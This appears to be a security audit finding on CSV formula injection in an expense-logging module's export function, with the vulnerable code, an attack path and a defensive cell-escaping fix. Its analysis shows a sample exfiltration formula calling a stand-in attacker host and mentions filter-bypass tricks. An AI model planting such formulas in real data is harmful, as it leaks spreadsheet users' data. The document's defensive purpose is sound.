T09 · Insecure Skill Coding Practices
Warning
- Location
- src/expense-log.js:65
- Finding
- CSV Formula Injection Through User-Controlled Expense Fields## Vulnerability Details **File Location**: `src/expense-log.js`, lines 65–69 **Vulnerability Type**: CSV formula injection **Risk Level**: Medium ```javascript export(month) { const m = month || new Date().toISOString().slice(0, 7); const monthly = this.expenses.filter(e => e.date.startsWith(m)); const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => `${e.date},${e.amount},${e.category},"${e.description.replace(/"/g, '""')}"`).join('\n'); return csv; } ``` ### Technical Analysis The CSV exporter inserts the user-controlled `category` and `description` fields into spreadsheet cells without neutralizing formula-triggering prefixes. Escaping double quotes in the description provides CSV syntax escaping but does not prevent spreadsheet applications from interpreting values beginning with `=`, `+`, `-`, or `@` as formulas. The category is also user-controlled through `add(amount, description, category)` and is exported without either CSV quoting or formula neutralization. Leading whitespace, tabs, carriage returns, and similar control characters can sometimes be used to bypass simplistic prefix checks. A malicious value such as `=WEBSERVICE("https://attacker.example/collect?data="&A1)` may therefore be evaluated when the exported file is opened in a compatible spreadsheet application. ### Attack Path 1. An attacker or untrusted input source supplies an expense description or explicit category containing a spreadsheet formula. 2. The `add()` method stores the value in the local expense data without validation or formula neutralization. 3. The user invokes `export()`, which places the value directly into the generated CSV. 4. The user opens the CSV in spreadsheet software. 5. If that software evaluates CSV cells as formulas, the injected expression executes in the spreadsheet user's context. ### Impact Assessment Exploitation does not directly grant privileges within the Node.js proc ...[truncated 467 chars]
- Remediation
- ## Remediation Suggestions Apply both standards-compliant CSV escaping and spreadsheet-formula neutralization to every exported field that can contain untrusted data. 1. Convert each value to a string and quote it according to CSV rules. 2. After accounting for leading whitespace and control characters, detect values whose first meaningful character is `=`, `+`, `-`, or `@`. 3. Prefix dangerous values with an apostrophe or another neutralization mechanism appropriate for the supported spreadsheet applications. 4. Apply the protection to both `description` and explicitly supplied `category` values rather than only escaping quotation marks. 5. Consider using a maintained CSV library, but verify that it explicitly supports spreadsheet-formula injection mitigation because ordinary CSV escaping alone is insufficient. 6. Add tests covering dangerous prefixes, leading spaces, tabs, carriage returns, embedded quotes, commas, and newlines. Example defensive approach: ```javascript function safeCsvCell(value) { let text = String(value ?? ''); if (/^[\s\x00-\x1F]*[=+\-@]/.test(text)) { text = `'${text}`; } return `"${text.replace(/"/g, '""')}"`; } const csv = 'Date,Amount,Category,Description\n' + monthly.map(e => [ e.date, e.amount, e.category, e.description ].map(safeCsvCell).join(',')).join('\n'); ```
